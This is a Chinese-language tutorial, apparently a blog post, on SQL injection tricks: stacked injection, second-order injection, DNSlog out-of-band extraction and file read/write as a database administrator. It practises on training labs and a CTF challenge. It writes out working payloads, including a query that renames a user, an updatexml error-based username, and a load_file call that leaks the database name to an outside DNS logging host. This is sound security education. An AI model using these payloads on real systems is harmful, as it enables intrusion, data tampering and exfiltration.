SQL注入sao姿势
为什么我说是sao姿势,原因是这些sao姿势的存在一般都需要特定的条件,比如数据库的特性,当前数据库用户的权限,代码逻辑缺陷等等。
堆叠注入
在MYSQL数据库中,分号‘;’是用来表示一条sql语句的结束。也就是在分号后可以继续下一条sql语句。当然堆叠注入存在局限性,它取决于数据库类型是否支持多条语句执行,同时也受到了当前连接数据库用户的权限的制约。
当然,在现实情况下,由于代码执行后通常只会返回一个查询结果,因此我们是无法在前端页面中看到返回结果的。这也是一个比较鸡肋的地方。
实例:sqlilabs靶场第38关
这里我是通过1%27;select%20sleep(5)–+,来使页面延迟5秒来判断出存在延迟注入。再用1%27;update%20users%20set%20username=%27beczou%27%20where%20id=1–%20,将id=1的用户名修改为‘beczou’
堆叠注入就讲到这里,这里补充一下,mysql,sql server,postgresql支持多条语句执行,Oracle不支持
二次注入
二次注入的原理:
第一步,插入恶意数据,当数据插入数据库时,仅仅对其中的特殊字符进行了转义,但是在写入数据库时还是保留原来的数据
第二步,引用恶意数据,由于开发者信任数据库中取出的数据是无害的,当写入的恶意数据,被查询或者被执行时,就造成了二次注入。
实例:BUUCTF-[RCTF2015]EasySQL
这是一道ctf,这样我就只验证存在二次注入,后续解题,可以网上找相关文章。
首先注册一个账号:用户名:beczou"^updatexml(1,concat(0x7e,database()),1)#
其他任意,然后用创建好用户进行登录,在修改密码,也是任意,之后确认。页面报错显示当前数据库名,存在二次注入
这里我所认识的就是,二次注入一般产生在这注册且有修改的地方,也就是sql语句中的insert和update操作。
Dnslog注入
Dnslog解决不回显的问题,Dnslog还运用到命令执行,SSRF等
如果不懂,可以参考网上的dnslog的文章
?id=1%27%20and(select%20load_file(concat(%27\\%27,(select%20database()),%27.7ac2az.ceye.io\aa%27)));–+
在DNS解析记录里可以看到当前数据库名‘security’。
这里需要注意到的是,攻击语句中使用了load_file()这个函数,这个函数是mysql文件读取的函数,它也请求url(所以才能在dnslog看到记录)。使用该函数,必须满足当前连接数据库的用户必须有文件读写的权限,就是高权限root用户。
高权限注入
高权限指的是当前所连接数据库的用户是‘dba’(数据库管理员),它进行跨库查询,文件读写,命令执行,注册表等相关操作。
在MYSQL数据库中root用户拥有数据库的最高权限,所以可以通过查询当前连接数据库的用户是否为数据库管理员,也可以通过sqlmap注入工具中的‘–is-dba’参数,看返回是否为“True”。
这里来看看文件的读写操作,
使用load_file()函数读取文件,注意使用反斜杠。
使用outfile()函数写入文件,也要注意使用反斜杠。
虽然图中执行的sql语句中,并没有phpinfo(),但是也成功执行并写入(我也不知道是什么情况造成的),你也可以将要写入的内容先进行16进制编码,就会有显示
总结
不要浮躁!!!!!!!!!!!!!